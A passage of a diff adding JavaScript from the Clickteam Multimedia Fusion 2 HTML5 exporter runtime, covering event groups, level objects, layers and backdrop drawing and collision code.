+ for (evg = 0; evg < this.nEvents; evg++)
+ {
+ evgPtr = this.events[evg];
+ for (evt = 0; evt < evgPtr.evgNCond + evgPtr.evgNAct; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+ for (p = 0; p < evtPtr.evtNParams; p++)
+ {
+ switch (evtPtr.evtParams[p].code)
+ {
+ case 6:
+ case 35:
+ pSample = evtPtr.evtParams[p];
+ sounds.enumerate(pSample.sndHandle);
+ break;
+ }
+ }
+ }
+ }
+ },
+
+ HandleKeyRepeat: function ()
+ {
+ var evgPtr;
+ var evtPtr;
+ var evg, evt, p;
+
+ for (evg = 0; evg < this.nEvents; evg++)
+ {
+ evgPtr = this.events[evg];
+ for (evt = 0; evt < evgPtr.evgNCond; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+ if (evtPtr.evtCode == ((-1 << 16) | 0xFFFA))
+ {
+ evgPtr.evgInhibit = this.rhPtr.rhLoopCount;
+ break;
+ }
+ }
+ }
+ }
+ }
+
+
+ // CEventGroup object
+ // ----------------------------------------------------------
+ CEventGroup.EVGFLAGS_ONCE = 0x0001;
+ CEventGroup.EVGFLAGS_NOTALWAYS = 0x0002;
+ CEventGroup.EVGFLAGS_REPEAT = 0x0004;
+ CEventGroup.EVGFLAGS_NOMORE = 0x0008;
+ CEventGroup.EVGFLAGS_SHUFFLE = 0x0010;
+ CEventGroup.EVGFLAGS_UNDOMARK = 0x0040;
+ CEventGroup.EVGFLAGS_COMPLEXGROUP = 0x0080;
+ CEventGroup.EVGFLAGS_BREAKPOINT = 0x0100;
+ CEventGroup.EVGFLAGS_ALWAYSCLEAN = 0x0200;
+ CEventGroup.EVGFLAGS_ORINGROUP = 0x0400;
+ CEventGroup.EVGFLAGS_STOPINGROUP = 0x0800;
+ CEventGroup.EVGFLAGS_ORLOGICAL = 0x1000;
+ CEventGroup.EVGFLAGS_GROUPED = 0x2000;
+ CEventGroup.EVGFLAGS_INACTIVE = 0x4000;
+ CEventGroup.EVGFLAGS_NOGOOD = 0x8000;
+ CEventGroup.EVGFLAGS_LIMITED = CEventGroup.EVGFLAGS_SHUFFLE + CEventGroup.EVGFLAGS_NOTALWAYS + CEventGroup.EVGFLAGS_REPEAT + CEventGroup.EVGFLAGS_NOMORE;
+ CEventGroup.EVGFLAGS_DEFAULTMASK = CEventGroup.EVGFLAGS_BREAKPOINT + CEventGroup.EVGFLAGS_GROUPED;
+
+ function CEventGroup()
+ {
+ this.evgNCond = 0;
+ this.evgNAct = 0;
+ this.evgFlags = 0;
+ this.evgInhibit = 0;
+ this.evgInhibitCpt = 0;
+ this.evgEvents = null;
+ }
+ CEventGroup.create = function (app)
+ {
+ var debut = app.file.getFilePointer();
+
+ var size = app.file.readShort();
+ var evg = new CEventGroup();
+ evg.evgNCond = app.file.readAByte();
+ evg.evgNAct = app.file.readAByte();
+ evg.evgFlags = app.file.readAShort();
+ app.file.skipBytes(2);
+ evg.evgInhibit = app.file.readAInt();
+ evg.evgInhibitCpt = app.file.readAInt();
+
+ evg.evgEvents = new Array(evg.evgNCond + evg.evgNAct);
+ var n;
+ var count = 0;
+ for (n = 0; n < evg.evgNCond; n++)
+ {
+ evg.evgEvents[count++] = CCnd.create(app);
+ }
+ for (n = 0; n < evg.evgNAct; n++)
+ {
+ evg.evgEvents[count++] = CAct.create(app);
+ }
+ app.file.seek(debut - size);
+ return evg;
+ }
+
+ // CEvent
+ // ------------------------------------------------------------
+ CEvent.EVFLAGS_REPEAT = 0x01;
+ CEvent.EVFLAGS_DONE = 0x02;
+ CEvent.EVFLAGS_DEFAULT = 0x04;
+ CEvent.EVFLAGS_DONEBEFOREFADEIN = 0x08;
+ CEvent.EVFLAGS_NOTDONEINSTART = 0x10;
+ CEvent.EVFLAGS_ALWAYS = 0x20;
+ CEvent.EVFLAGS_BAD = 0x40;
+ CEvent.EVFLAGS_BADOBJECT = 0x80;
+ CEvent.EVFLAGS_DEFAULTMASK = CEvent.EVFLAGS_ALWAYS + CEvent.EVFLAGS_REPEAT + CEvent.EVFLAGS_DEFAULT + CEvent.EVFLAGS_DONEBEFOREFADEIN + CEvent.EVFLAGS_NOTDONEINSTART;
+ CEvent.EVFLAG2_NOT = 0x01;
+ function CEvent()
+ {
+ }
+
+ // Various objects
+ // ------------------------------------------------------------
+ function CGroupFind()
+ {
+ this.id = 0;
+ this.evg = 0;
+ }
+ function CLoadQualifiers()
+ {
+ this.qOi = 0;
+ this.qType = 0;
+ }
+ function CPushedEvent(r, c, p, hoPtr, o)
+ {
+ this.routine = r;
+ this.code = c;
+ this.param = p;
+ this.pHo = hoPtr;
+ this.oi = o;
+ }
+ function CQualToOiList()
+ {
+ this.qoiCurrentOi = 0
+ this.qoiNext = 0;
+ this.qoiActionPos = 0;
+ this.qoiCurrentRoutine = 0;
+ this.qoiActionCount = 0;
+ this.qoiActionLoopCount = 0;
+ this.qoiNextFlag = false;
+ this.qoiSelectedFlag = false;
+ this.qoiList = null;
+ }
+
+ // ForEach
+ // -------------------------------------------------------------------------
+ function ForEach()
+ {
+ this.next = null;
+ this.oi = 0;
+ this.index = 0;
+ this.name = null;
+ this.number = 0;
+ this.stop = false;
+ this.objects = new Array();
+ }
+
+ // TimerEvents
+ // -------------------------------------------------------------------------
+ TimerEvents.TIMEREVENTTYPE_ONESHOT = 0;
+ TimerEvents.TIMEREVENTTYPE_REPEAT = 1;
+ function TimerEvents()
+ {
+ this.next = null;
+ this.type = 0;
+ this.name = null;
+ this.timer = 0;
+ this.timerNext = 0;
+ this.timerPosition = 0;
+ this.loops = 0;
+ this.index = 0;
+ this.bDelete = false;
+ } // CLO Object
+ // -------------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ CLO.PARENT_NONE = 0;
+ CLO.PARENT_FRAME = 1;
+ CLO.PARENT_FRAMEITEM = 2;
+ CLO.PARENT_QUALIFIER = 3;
+ function CLO()
+ {
+ this.loHandle = 0;
+ this.loOiHandle = 0;
+ this.loX = 0;
+ this.loY = 0;
+ this.loParentType = 0;
+ this.loOiParentHandle = 0;
+ this.loLayer = 0;
+ this.loType = 0;
+ this.loInstances = null;
+
+ this.loInstances = new Array(4);
+ var i;
+ for (i = 0; i < 4; i++)
+ this.loInstances[i] = null;
+ }
+ CLO.prototype =
+ {
+ load: function (file)
+ {
+ this.loHandle = file.readAShort();
+ this.loOiHandle = file.readAShort();
+ this.loX = file.readAInt();
+ this.loY = file.readAInt();
+ this.loParentType = file.readAShort();
+ this.loOiParentHandle = file.readAShort();
+ this.loLayer = file.readAShort();
+ file.skipBytes(2);
+ },
+ addInstance: function (num, bi)
+ {
+ this.loInstances[num] = bi;
+ }
+ }
+
+ // CLOList object
+ // --------------------------------------------------------------
+ function CLOList()
+ {
+ this.list = null;
+ this.handleToIndex = null;
+ this.nIndex = 0;
+ this.loFranIndex = 0;
+ }
+ CLOList.prototype =
+ {
+ load: function (app)
+ {
+ this.nIndex = app.file.readAInt();
+ this.list = new Array(this.nIndex);
+ var n;
+ var maxHandles = 0;
+ for (n = 0; n < this.nIndex; n++)
+ {
+ this.list[n] = new CLO();
+ this.list[n].load(app.file);
+ if (this.list[n].loHandle + 1 > maxHandles)
+ {
+ maxHandles = this.list[n].loHandle + 1;
+ }
+ var pOI = app.OIList.getOIFromHandle(this.list[n].loOiHandle);
+ this.list[n].loType = pOI.oiType;
+ }
+ this.handleToIndex = new Array(maxHandles);
+ for (n = 0; n < this.nIndex; n++)
+ {
+ this.handleToIndex[this.list[n].loHandle] = n;
+ }
+ },
+ getLOFromIndex: function (index)
+ {
+ return this.list[index];
+ },
+ getLOFromHandle: function (handle)
+ {
+ if (handle < this.handleToIndex.length)
+ {
+ return this.list[this.handleToIndex[handle]];
+ }
+ return null;
+ },
+
+ next_LevObj: function ()
+ {
+ var plo;
+ if (this.loFranIndex < this.nIndex)
+ {
+ do
+ {
+ plo = this.list[this.loFranIndex++];
+ if (plo.loType >= 2) // OBJ_SPR
+ {
+ return plo;
+ }
+ } while (this.loFranIndex < this.nIndex);
+ }
+ return null;
+ },
+
+ first_LevObj: function ()
+ {
+ this.loFranIndex = 0;
+ return this.next_LevObj();
+ }
+ }
+
+ // CLayer object
+ // --------------------------------------------------------------------------
+ CLayer.FLOPT_XCOEF = 0x0001;
+ CLayer.FLOPT_YCOEF = 0x0002;
+ CLayer.FLOPT_NOSAVEBKD = 0x0004;
+ CLayer.FLOPT_VISIBLE = 0x0010;
+ CLayer.FLOPT_WRAP_HORZ = 0x0020;
+ CLayer.FLOPT_WRAP_VERT = 0x0040;
+ CLayer.FLOPT_REDRAW = 0x000010000;
+ CLayer.FLOPT_TOHIDE = 0x000020000;
+ CLayer.FLOPT_TOSHOW = 0x000040000;
+ function CLayer(a)
+ {
+ this.app = a;
+ this.pName = null;
+ this.x = 0;
+ this.y = 0;
+ this.dx = 0;
+ this.dy = 0;
+ this.pObstacles = null;
+ this.pPlatforms = null;
+ this.addedBackdrops = null;
+ this.bVisible = false;
+ this.pLadders = null;
+ this.nZOrderMax = 0;
+ this.dwOptions = 0;
+ this.xCoef = 0;
+ this.yCoef = 0;
+ this.nBkdLOs = 0;
+ this.nFirstLOIndex = 0;
+ this.effect = 0;
+ this.effectParam = 0;
+ this.backUp_dwOptions = 0;
+ this.backUp_xCoef = 0;
+ this.backUp_yCoef = 0;
+ this.backUp_nBkdLOs = 0;
+ this.backUp_nFirstLOIndex = 0;
+ this.planeBack = null;
+ this.planeQuickDisplay = null;
+ this.planeSprites = null;
+ this.angle = 0;
+ this.scale = this.scaleX = this.scaleY = 1;
+ this.xSpot = this.xDest = 320;
+ this.ySpot = this.yDest = 240;
+ }
+ CLayer.prototype =
+ {
+ load: function (file)
+ {
+ this.dwOptions = file.readAInt();
+ this.xCoef = file.readAFloat();
+ this.yCoef = file.readAFloat();
+ this.nBkdLOs = file.readAInt();
+ this.nFirstLOIndex = file.readAInt();
+ this.pName = file.readAString();
+
+ this.backUp_dwOptions = this.dwOptions;
+ this.backUp_xCoef = this.xCoef;
+ this.backUp_yCoef = this.yCoef;
+ this.backUp_nBkdLOs = this.nBkdLOs;
+ this.backUp_nFirstLOIndex = this.nFirstLOIndex;
+ },
+ reset: function ()
+ {
+ this.dwOptions = this.backUp_dwOptions;
+ this.xCoef = this.backUp_xCoef;
+ this.yCoef = this.backUp_yCoef;
+ this.nBkdLOs = this.backUp_nBkdLOs;
+ this.nFirstLOIndex = this.backUp_nFirstLOIndex;
+ this.x = this.y = this.dx = this.dy = 0;
+
+ this.pObstacles = null;
+ this.pPlatforms = null;
+ this.pLadders = null;
+ this.addedBackdrops = null;
+
+ this.setAngle(0);
+ this.scale = 1;
+ this.setScaleX(1);
+ this.setScaleY(1);
+ this.setXSpot(this.app.gaCxWin / 2);
+ this.setYSpot(this.app.gaCyWin / 2);
+ this.setXDest(this.app.gaCxWin / 2);
+ this.setYDest(this.app.gaCyWin / 2);
+ this.setZoom(false);
+
+ if (this.dwOptions & CLayer.FLOPT_TOHIDE)
+ {
+ this.bVisible = true;
+ this.hide();
+ }
+ else
+ {
+ this.bVisible = false;
+ this.show();
+ }
+ },
+ deleteBackObjects: function ()
+ {
+ this.planeBack.removeAll();
+ },
+ addObstacle: function (bi)
+ {
+ if (this.pObstacles == null)
+ this.pObstacles = new CArrayList();
+ this.pObstacles.add(bi);
+ },
+ delObstacle: function (bi)
+ {
+ if (this.pObstacles != null)
+ this.pObstacles.removeObject(bi);
+ },
+ addPlatform: function (bi)
+ {
+ if (this.pPlatforms == null)
+ this.pPlatforms = new CArrayList();
+ this.pPlatforms.add(bi);
+ },
+ delPlatform: function (bi)
+ {
+ if (this.pPlatforms != null)
+ this.pPlatforms.removeObject(bi);
+ },
+ addBackdrop: function (bi)
+ {
+ if (this.addedBackdrops == null)
+ this.addedBackdrops = new CArrayList();
+ this.addedBackdrops.add(bi);
+ },
+ resetLevelBackground: function ()
+ {
+ this.pPlatforms = null;
+ this.pObstacles = null;
+ this.pLadders = null;
+ this.addedBackdrops = null;
+ this.planeBack.removeAll();
+ },
+ createPlanes: function (xOffset, yOffset)
+ {
+ this.planeBack = new Sprite();
+ this.planeBack.x = xOffset;
+ this.planeBack.y = yOffset;
+ this.planeQuickDisplay = new Sprite();
+ this.planeQuickDisplay.x = xOffset;
+ this.planeQuickDisplay.y = yOffset;
+ this.planeSprites = new Sprite();
+ this.planeSprites.x = xOffset;
+ this.planeSprites.y = yOffset;
+
+ this.setAngle(0);
+ this.scale = 1;
+ this.setScaleX(1);
+ this.setScaleY(1);
+ this.setXSpot(this.app.gaCxWin / 2);
+ this.setYSpot(this.app.gaCyWin / 2);
+ this.setXDest(this.app.gaCxWin / 2);
+ this.setYDest(this.app.gaCyWin / 2);
+ this.setZoom(false);
+
+ this.app.mainSprite.addChild(this.planeBack);
+ this.app.mainSprite.addChild(this.planeQuickDisplay);
+ this.app.mainSprite.addChild(this.planeSprites);
+ this.showHide();
+ },
+
+ setAngle: function (angle)
+ {
+ this.angle = angle;
+ this.planeBack.angle = angle;
+ this.planeQuickDisplay.angle = angle;
+ this.planeSprites.angle = angle;
+ },
+ setScaleX: function (scale)
+ {
+ this.scaleX = scale;
+ this.planeBack.scaleX = scale;
+ this.planeQuickDisplay.scaleX = scale;
+ this.planeSprites.scaleX = scale;
+ },
+ setScaleY: function (scale)
+ {
+ this.scaleY = scale;
+ this.planeBack.scaleY = scale;
+ this.planeQuickDisplay.scaleY = scale;
+ this.planeSprites.scaleY = scale;
+ },
+ setXSpot: function (spot)
+ {
+ this.xSpot = spot;
+ this.planeBack.xSpot = spot;
+ this.planeQuickDisplay.xSpot = spot;
+ this.planeSprites.xSpot = spot;
+ },
+ setYSpot: function (spot)
+ {
+ this.ySpot = spot;
+ this.planeBack.ySpot = spot;
+ this.planeQuickDisplay.ySpot = spot;
+ this.planeSprites.ySpot = spot;
+ },
+ setXDest: function (spot)
+ {
+ spot = this.app.gaCxWin - spot;
+ this.xDest = spot;
+ this.planeBack.xDest = spot;
+ this.planeQuickDisplay.xDest = spot;
+ this.planeSprites.xDest = spot;
+ },
+ setYDest: function (spot)
+ {
+ spot = this.app.gaCyWin - spot;
+ this.yDest = spot;
+ this.planeBack.yDest = spot;
+ this.planeQuickDisplay.yDest = spot;
+ this.planeSprites.yDest = spot;
+ },
+ setZoom: function (zoom)
+ {
+ this.bZoom = zoom;
+ this.planeBack.bZoom = zoom;
+ this.planeQuickDisplay.bZoom = zoom;
+ this.planeSprites.bZoom = zoom;
+ },
+
+ resetPlanes: function (xOffset, yOffset)
+ {
+ this.planeBack.x = xOffset;
+ this.planeBack.y = yOffset;
+ this.planeQuickDisplay.x = xOffset;
+ this.planeQuickDisplay.y = yOffset;
+ this.planeSprites.x = xOffset;
+ this.planeSprites.y = yOffset;
+ this.show();
+ },
+
+ fillBack: function (sx, sy, color)
+ {
+ // TODO!
+ },
+
+ showHide: function ()
+ {
+ if (this.dwOptions & CLayer.FLOPT_VISIBLE)
+ this.show();
+ else
+ this.hide();
+ },
+ hide: function ()
+ {
+ this.dwOptions &= ~CLayer.FLOPT_TOHIDE;
+ if (this.bVisible)
+ {
+ this.planeBack.visible = false;
+ this.planeQuickDisplay.visible = false;
+ this.planeSprites.visible = false;
+ this.bVisible = false;
+ }
+ },
+ show: function ()
+ {
+ if (this.bVisible == false)
+ {
+ this.planeBack.visible = true;
+ this.planeQuickDisplay.visible = true;
+ this.planeSprites.visible = true;
+ this.bVisible = true;
+ }
+ },
+ deletePlanes: function ()
+ {
+ if (this.planeBack != null)
+ {
+ this.app.mainSprite.removeChild(this.planeBack);
+ this.planeBack = null;
+ }
+ if (this.planeQuickDisplay != null)
+ {
+ this.app.mainSprite.removeChild(this.planeQuickDisplay);
+ this.planeQuickDisplay = null;
+ }
+ if (this.planeSprites != null)
+ {
+ this.app.mainSprite.removeChild(this.planeSprites);
+ this.planeSprites = null;
+ }
+ },
+ deleteAddedBackdrops: function ()
+ {
+ var n;
+ if (this.addedBackdrops != null)
+ {
+ for (n = 0; n < this.addedBackdrops.size(); n++)
+ {
+ var bi = this.addedBackdrops.get(n);
+ bi.delInstance(this);
+ if (bi.body != null)
+ {
+ this.app.run.rh4Box2DBase.rSubABackdrop(bi.body);
+ }
+ }
+ }
+ this.addedBackdrops = null;
+ },
+ deleteAddedBackdropsAt: function (xx, yy, fine)
+ {
+ xx += this.x;
+ yy += this.y;
+
+ var n;
+ if (this.addedBackdrops != null)
+ {
+ for (n = 0; n < this.addedBackdrops.size(); n++)
+ {
+ var bi = this.addedBackdrops.get(n);
+ if (xx >= bi.x && xx < bi.x + bi.width)
+ {
+ if (yy >= bi.y && yy < bi.y + bi.height)
+ {
+ var flag = true;
+ if (fine)
+ {
+ flag = bi.testPoint(xx, yy);
+ }
+ if (flag)
+ {
+ bi.delInstance(this);
+ this.addedBackdrops.removeObject(bi);
+ if (bi.body != null)
+ {
+ this.app.run.rh4Box2DBase.rSubABackdrop(bi.body);
+ }
+ return;
+ }
+ }
+ }
+ }
+ }
+ },
+
+ addLadder: function (x1, y1, x2, y2)
+ {
+ var rc = new CRect();
+ rc.left = x1;
+ rc.top = y1;
+ rc.right = x2;
+ rc.bottom = y2;
+ if (this.pLadders == null)
+ this.pLadders = new CArrayList();
+ this.pLadders.add(rc);
+ },
+
+ ladderSub: function (x1, y1, x2, y2)
+ {
+ if (pLadders != null)
+ {
+ var rc = new CRect();
+ rc.left = Math.min(x1, x2);
+ rc.top = Math.min(y1, y2);
+ rc.right = Math.max(x1, x2);
+ rc.bottom = Math.max(y1, y2);
+
+ var i;
+ var rcDst;
+ for (i = 0; i < pLadders.size(); i++)
+ {
+ rcDst = this.pLadders.get(i);
+ if (rcDst.intersectRect(rc) == true)
+ {
+ this.pLadders.removeIndex(i);
+ i--;
+ }
+ }
+ }
+ },
+ getLadderAt: function (xx, yy)
+ {
+ var nl, nLayers;
+ xx += this.x;
+ yy += this.y;
+
+ if (this.pLadders != null)
+ {
+ var i;
+ var rc;
+ for (i = 0; i < this.pLadders.size(); i++)
+ {
+ rc = this.pLadders.get(i);
+ if (xx >= rc.left)
+ {
+ if (yy >= rc.top)
+ {
+ if (xx < rc.right)
+ {
+ if (yy < rc.bottom)
+ {
+ return rc;
+ }
+ }
+ }
+ }
+ }
+ }
+ return null;
+ },
+ testMask: function (mask, xx, yy, htFoot, plan)
+ {
+ var xLeft = xx + this.x - mask.xSpot;
+ var yTop = yy + this.y - mask.ySpot;
+ var xRight = xLeft + mask.width;
+ var yBottom = yTop + mask.height;
+ var yFoot = yTop;
+ if (htFoot != 0)
+ yFoot = yBottom - htFoot;
+
+ var o;
+ var bi;
+ var list;
+ if (plan == CColMask.CM_TEST_OBSTACLE)
+ list = this.pObstacles;
+ else
+ list = this.pPlatforms;
+ if (list == null)
+ return null;
+
+ for (o = 0; o < list.size(); o++)
+ {
+ bi = list.get(o);
+ if (bi.x < xRight && bi.x + bi.width > xLeft)
+ {
+ if (bi.y < yBottom && bi.y + bi.height > yFoot)
+ {
+ if (bi.testMask(mask, xLeft, yTop, htFoot))
+ {
+ return bi;
+ }
+ }
+ }
+ }
+ return null;
+ },
+ testRect: function (x1, y1, x2, y2, htFoot, plan)
+ {
+ var list;
+ if (plan == CColMask.CM_TEST_OBSTACLE)
+ list = this.pObstacles;
+ else
+ list = this.pPlatforms;
+ if (list == null)
+ return null;
+
+ x1 += this.x;
+ y1 += this.y;
+ x2 += this.x;
+ y2 += this.y;
+ if (htFoot != 0)
+ y1 = y2 - htFoot;
+
+ var o;
+ for (o = 0; o < list.size(); o++)
+ {
+ var bi = list.get(o);
+ if (bi.x < x2 && bi.x + bi.width > x1)
+ {
+ if (bi.y < y2 && bi.y + bi.height > y1)
+ {
+ if (bi.testRect(x1, y1, x2, y2))
+ {
+ return bi;
+ }
+ }
+ }
+ }
+ return null;
+ },
+ testPoint: function (x1, y1, plan)
+ {
+ var list;
+ if (plan == CColMask.CM_TEST_OBSTACLE)
+ list = this.pObstacles;
+ else
+ list = this.pPlatforms;
+ if (list == null)
+ return null;
+
+ x1 += this.x;
+ y1 += this.y;
+
+ var o;
+ for (o = 0; o < list.size(); o++)
+ {
+ var bi = list.get(o);
+ if (x1 >= bi.x && x1 < bi.x + bi.width)
+ {
+ if (y1 >= bi.y && y1 < bi.y + bi.height)
+ {
+ if (bi.testPoint(x1, y1))
+ {
+ return bi;
+ }
+ }
+ }
+ }
+ return null;
+ }
+ }
+
+ // CBackInstance object
+ // ------------------------------------------------------------------
+ function CBackInstance(a, xx, yy, plo, sprImage, colType)
+ {
+ this.app = a;
+ this.levelObject = plo;
+ this.type = 0;
+ this.obstacleType = 0;
+ this.x = xx;
+ this.y = yy;
+ this.width = 0;
+ this.height = 0;
+ this.poi = null;
+ this.colBox = false;
+ this.imageUsed = null;
+ this.borderWidth = 0;
+ this.color1 = null;
+ this.color2 = null;
+ this.borderColor = null;
+ this.effect = 0;
+ this.effectParam = 0;
+ this.body = null;
+ this.ho = null;
+
+ if (plo)
+ {
+ this.poi = this.app.OIList.getOIFromHandle(plo.loOiHandle);
+ this.type = this.poi.oiType;
+ this.obstacleType = this.poi.oiOC.ocObstacleType;
+ this.borderWidth = this.poi.oiOC.ocBorderSize;
+ this.gradientFlags = this.poi.oiOC.ocGradientFlags;
+ this.effect = this.poi.oiInkEffect;
+ this.effectParam = this.poi.oiInkEffectParam;
+ this.width = this.poi.oiOC.ocCx;
+ this.height = this.poi.oiOC.ocCy;
+ this.colBox = this.poi.oiOC.ocColMode != 0;
+ this.color1 = this.poi.oiOC.ocColor1;
+ this.color2 = this.poi.oiOC.ocColor2;
+ this.borderColor = this.poi.oiOC.ocBorderColor;
+ if (this.type == 1)
+ {
+ this.imageUsed = this.app.imageBank.getImageFromHandle(this.poi.oiOC.ocImage);
+ this.width = this.imageUsed.width;
+ this.height = this.imageUsed.height;
+ }
+ else if (this.type >= 32)
+ {
+ var rhPtr = this.app.run;
+ var hoPtr = null;
+ var count = 0;
+ for (var nObject = 0; nObject < rhPtr.rhNObjects; nObject++)
+ {
+ while (rhPtr.rhObjectList[count] == null)
+ count++;
+ hoPtr = rhPtr.rhObjectList[count];
+ count++;
+ if (hoPtr.lo == plo)
+ {
+ break;
+ }
+ }
+ this.ho = hoPtr;
+ }
+ }
+ else
+ {
+ this.type = COI.OBJ_PASTED;
+ this.imageUsed = sprImage;
+ this.width = this.imageUsed.width;
+ this.height = this.imageUsed.height;
+ this.x -= this.imageUsed.xSpot;
+ this.y -= this.imageUsed.ySpot;
+ switch (colType)
+ {
+ case 0:
+ this.obstacleType = COC.OBSTACLE_NONE;
+ break;
+ case 1:
+ this.obstacleType = COC.OBSTACLE_SOLID;
+ break;
+ case 2:
+ this.obstacleType = COC.OBSTACLE_PLATFORM;
+ break;
+ case 3:
+ this.obstacleType = COC.OBSTACLE_LADDER;
+ break;
+ }
+ this.colBox = false;
+ }
+ }
+ CBackInstance.prototype =
+ {
+ draw: function (context, xx, yy)
+ {
+ if (this.levelObject != null)
+ {
+ if (this.type == COI.OBJ_BOX)
+ {
+ var pCOCQB = this.poi.oiOC;
+ var image;
+
+ switch (pCOCQB.ocFillType)
+ {
+ case 0: /* no fill */
+ break;
+
+ case 1: /* solid */
+
+ switch (pCOCQB.ocShape)
+ {
+ case 1: /* line */
+
+ context.renderLine(xx + this.x, yy + this.y, this.width,
+ this.height, this.color1, this.effect,
+ this.effectParam);
+
+ break;
+
+ case 2: /* rectangle */
+
+ context.renderSolidColor(xx + this.x, yy + this.y, this.width,
+ this.height, this.color1, this.effect,
+ this.effectParam);
+
+ break;
+
+ case 3: /* ellipse */
+ context.renderSolidColorEllipse(xx + this.x, yy + this.y, this.width,
+ this.height, this.color1, this.effect,
+ this.effectParam);
+ break;
+ }
+ ;
+
+ break;
+
+ case 2: /* gradient */
+
+ switch (pCOCQB.ocShape)
+ {
+ case 1: /* line */
+
+ context.renderLine(xx + this.x, yy + this.y, this.width,
+ this.height, this.color1, this.effect,
+ this.effectParam);
+
+ break;
+
+ case 2: /* rectangle */
+
+ context.renderGradient(xx + this.x, yy + this.y, this.width,
+ this.height, this.color1, this.color2, this.gradientFlags != 0,
+ this.effect, this.effectParam);
+
+ break;
+
+ case 3: /* ellipse */
+
+ context.renderGradientEllipse(xx + this.x, yy + this.y, this.width,
+ this.height, this.color1, this.color2, this.gradientFlags != 0,
+ this.effect, this.effectParam);
+
+ break;
+ }
+ ;
+
+ break;
+
+ case 3: /* motif */
+
+ switch (pCOCQB.ocShape)
+ {
+ case 1: /* line */
+ break;
+
+ case 2: /* rectangle */
+ image = this.app.imageBank.getImageFromHandle(pCOCQB.ocImage);
+ context.renderPattern(image, xx + this.x, yy + this.y, this.width,
+ this.height, this.effect, this.effectParam);
+ break;
+
+ case 3: /* ellipse */
+ image = this.app.imageBank.getImageFromHandle(pCOCQB.ocImage);
+ context.renderPatternEllipse(image, xx + this.x, yy + this.y, this.width,
+ this.height, this.effect, this.effectParam);
+ break;
+ }
+ break;
+ }
+
+ if (this.borderWidth > 0)
+ {
+ switch (pCOCQB.ocShape)
+ {
+ case 1: /* line */
+
+ var xLine = 0;
+ var yLine = 0;
+ var cxLine = this.width;
+ var cyLine = this.height;
+ if ((pCOCQB.ocLineFlags & COCQBackdrop.LINEF_INVX) != 0)
+ {
+ xLine += cxLine;
+ cxLine = -cxLine;
+ }
+ if ((pCOCQB.ocLineFlags & COCQBackdrop.LINEF_INVY) != 0)
+ {
+ yLine += cyLine;
+ cyLine = -cyLine;
+ }
+
+ context.renderLine(xx + this.x + xLine, yy + this.y + yLine,
+ xx + this.x + xLine + cxLine, yy + this.y + yLine + cyLine,
+ this.borderColor, this.borderWidth);
+
+ break;
+
+ case 2: /* rectangle */
+
+ context.renderRect(xx + this.x, yy + this.y, this.width, this.height,
+ this.borderColor, this.borderWidth);
+
+ break;
+
+ case 3: /* ellipse */
+
+ context.renderEllipse(xx + this.x, yy + this.y, this.width,
+ this.height, 1, this.borderColor, this.borderWidth);
+ break;
+ }
+ }
+ }
+ else if (this.type == COI.OBJ_BKD)
+ {
+ context.renderImageWithSubPixelCorrection(this.imageUsed, xx + this.x + this.imageUsed.xSpot, yy + this.y + this.imageUsed.ySpot, 0, 1.0, 1.0, this.effect, this.effectParam);
+ }
+ else
+ {
+ if ( this.ho != null )
+ this.ho.draw(context, xx, yy);
+ }
+ }
+ else
+ {
+ context.renderImage(this.imageUsed, xx + this.x + this.imageUsed.xSpot, yy + this.y + this.imageUsed.ySpot, 0, 1.0, 1.0, this.effect, this.effectParam);
+ }
+ },
+ setEffect: function (e, ep)
+ {
+ this.effect = e;
+ this.effectParam = ep;
+ },
+ addInstance: function (num, pLayer)
+ {
+ pLayer.planeBack.addChild(this);
+ if (this.type == COI.OBJ_PASTED)
+ pLayer.addBackdrop(this);
+
+ switch (this.obstacleType)
+ {
+ case COC.OBSTACLE_SOLID:
+ pLayer.addObstacle(this);
+ pLayer.addPlatform(this);
+ break;
+ case COC.OBSTACLE_PLATFORM:
+ pLayer.addPlatform(this);
+ break;
+ case COC.OBSTACLE_LADDER:
+ pLayer.addLadder(this.x, this.y, this.x + this.width, this.y + this.height);
+ break;
+ }
+ },
+ delInstance: function (pLayer)
+ {
+ pLayer.planeBack.removeChild(this);
+ switch (this.obstacleType)
+ {
+ case COC.OBSTACLE_SOLID:
+ pLayer.delObstacle(this);
+ pLayer.delPlatform(this);
+ break;
+ case COC.OBSTACLE_PLATFORM:
+ pLayer.delPlatform(this);
+ break;
+ case COC.OBSTACLE_LADDER:
+ pLayer.ladderSub(x, y, x + width, y + height);
+ break;
+ }
+ },
+
+ testMask: function (mask, xx, yy, htFoot)
+ {
+ var flags;
+ var mask2;
+
+ switch (this.type)
+ {
+ case 0:
+ var h = this.height;
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ h = CRunFrame.HEIGHT_PLATFORM;
+ }
+ return mask.testRect2(xx, yy, htFoot, this.x, this.y, this.width, h, 0);
+ case 1:
+ if (this.colBox != 0)
+ {
+ return true;
+ }
+ flags = CMask.GCMF_OBSTACLE;
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ flags = CMask.GCMF_PLATFORM;
+ }
+ mask2 = this.imageUsed.getMask(flags, 0, 1.0, 1.0);
+ return mask.testMask(xx, yy, htFoot, mask2, this.x, this.y, 0);
+ case 11:
+ if (this.colBox != 0)
+ {
+ return true;
+ }
+ flags = CMask.GCMF_OBSTACLE;
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ flags = CMask.GCMF_PLATFORM;
+ }
+ mask2 = this.imageUsed.getMask(flags, 0, 1.0, 1.0);
